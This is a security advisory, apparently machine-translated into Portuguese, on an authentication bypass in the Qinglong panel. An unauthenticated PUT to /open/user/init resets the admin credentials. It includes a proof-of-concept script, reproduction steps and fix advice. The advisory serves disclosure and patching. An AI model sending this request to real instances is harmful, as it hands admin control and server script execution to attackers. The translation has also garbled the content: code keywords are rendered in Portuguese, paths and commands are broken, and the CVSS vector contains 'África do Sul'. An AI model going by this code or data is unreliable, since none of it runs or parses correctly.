O middleware de init de Qinglong só verifica os caminhos `/ api/ usuário/ init`, mas não `/ open/ user/ init`, que está listado em branco da autenticação JWT e reescrito para `/ api/ usuário/ init` depois que o guarda já passou, permitindo a reset de credenciais de administração não autenticada em instâncias inicializadas. - **Ecosystem:** npm - **Pacote:** whyour/qinglong - **Versões afetadas:** = 6 bec 52 dca 158 CWE- 287 — Autenticação incorreta. O painel Qinglong tem um endpoint de inicialização (`/api/user/ init`) que permite configurar credenciais de administrador. Uma vez que o sistema é inicializado, um middleware de init Guard deve bloquear novas chamadas. O middleware em `back/loaders/express.ts` só verifica:.

````javascript''!['/api/user/init', '/api/user/notification/init'].include(pathBaix) ``. No entanto, o aplicativo também tem uma regra de reescrita do URL: `rewrite('/open/*', '/api/$ 1 ')`. Os caminhos `/ open/* ' são listados na lista branca da autenticação JWT. A ordem de middleware cria o bypass: primeiro, o JWT auth vê caminhos `/ open/* ' correspondem ao regex da lista branca e pulam a autenticação. Em segundo lugar, a guarda de init só verifica se `/api/user/ init` -- `/open/user/ init` passa por "não é um caminho de init". Terceiro, o URL reescrever transforma `/open/user/ init` em `/api/user/ init` depois que o protetor já passou. Isto significa que um atacante não autenticado pode enviar ` PUT /open/ user/ init` com novas credenciais para reiniciar a conta de administrador em qualquer instância do painel Qinglong, obtendo acesso administrativo completo.

```` javascript /** * CVE- 2026 - 3965 - Painel Qinglong /open/ user/ init Auth Bypass * * O middleware de init guarda apenas verifica os caminhos /api/ user/ init. * Mas /open/ user/ init está listado de forma branca a partir do JWT auth e reescrito * para /api/ user/ init através de Express- urlrewrite APÓS a guarda. */ // Simule o middleware de init guarda exatamente como na função fonte initGuardMiddleware(reqPath, authInfo) { const pathBaixa = reqPath.toLowerCase(); // Verifique exatamente a partir da fonte vulnerável se (!['/api/user/ init', '/api/user/notification/ init').include(pathLower)) { retorna { ação: "next" }; // passa através de } isInicialized = true; if ( Object.keys(authInfo). 2 & & authInfo.username === 'admin' & & authInfo.password === 'admin' ) { é Inicializado = false; }.

if (isInicialized) { retorna { ação: "block", código: 450, mensagem: "Erro" }; } outra { retorna { ação: "nexto" }; } } const authInfo = { nome de usuário: "realAdmin", senha: "str 0 ngP@sss!" }; console.log("Estado do sistema: inicializado (crevidades não predefinidas)"); // Teste 1: Teste de const bloqueado direto /api/user/init 1 = initGuardMiddleware("/api/user/init", authInfo); console.log("\n[Test 1 ] PUT /api/user/ init:"); console.log(" Resultado da Guarda:", teste 1. action); console.log(" Bloqueado:", teste 1.action === "bloco");.

// Teste 2: /open/user/ init BYPASSES init custod const test 2 = initGuardMiddleware("/open/user/ init", authInfo); console.log("\n[Test 2 ] PUT /open/user/ init:"); console.log(" Resultado da Guarda:", teste 2.action); console.log(" Proteção bypassed:", teste 2.action === "Próximo"); if (teste) 2.action === "next") { const rewrittenPath = "/open/user/ init".replace(/^\/ open\//, "/ api/"); console.log(" Após rewritten:", rewrittenPath); console.log(" Alcance o handler de init: true"); } if (teste) 1.action === "bloco" & & teste 2.action === "next") { console.log("\nVULNERABILIDADE CONFIRMED: /open/user/ init bypass the init garde"); console.log("Um atacante pode reiniciar credenciais de administrador em uma instância inicializada."); process. exit( 0 ); } outra { console.log("\nVULNERABILIDADE NÃO CONFIRMADA"); process.exit( 1 ); } ```.

**Pasos para reproduzir:** 1. ` clone git /tmp/qinglong_test` 2. `cd / tmp/qinglong_test & & & git checkout 6 bec 52 dc~ 1 ` 3. `node poc.js` **Saída esperada:** ```` VULNERABILIDADE CONFIRMED /open/ user/ init contorna a guarda de init; a guarda só verifica /api/ user/ init mas / open/ caminho é listado e reescrito depois. ``` Um atacante não autêntico pode enviar ` PUT /open/user/ init` com novas credenciais para reiniciar a conta de administrador em qualquer instância do painel Qinglong. Isto fornece acesso administrativo completo, permitindo ao atacante executar trabalhos arbitrários de cron e scripts no servidor.

Adicionar `/ open/user/ init` e `/ open/user/notification/ init` à lista de verificação de guarda de init. Alternativamente, mova o URL reescrever o middleware para executar antes da guarda de init. Considere implementar o protetor de init no nível do manipulador, em vez de como um middleware baseado em caminhos. - Correção incompleta commit: 6 bec 52 dca 158481258315 ba 0 fc 2 f 11206 df 7 b 719 - CVE original: CVE- 2026 - 3965 Registro de aconselhamento: GHSA-v 667 -gc 2 r- 2 xm 7. Identificadores relacionados: CVE- 2026 - 55445.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 20 T 18: 36: 59.000 Z e lista a sua última modificação como 2026 - 08 - 20 T 18: 36: 59.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/África do Sul:N.

Software afetado e informações de versão: pacote npm @whyour/qinglong — ECOSISTEM: introduzido 0, corrigido 2.20.1. Classificação e evidência: identificadores de fraqueza CWE- 287. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.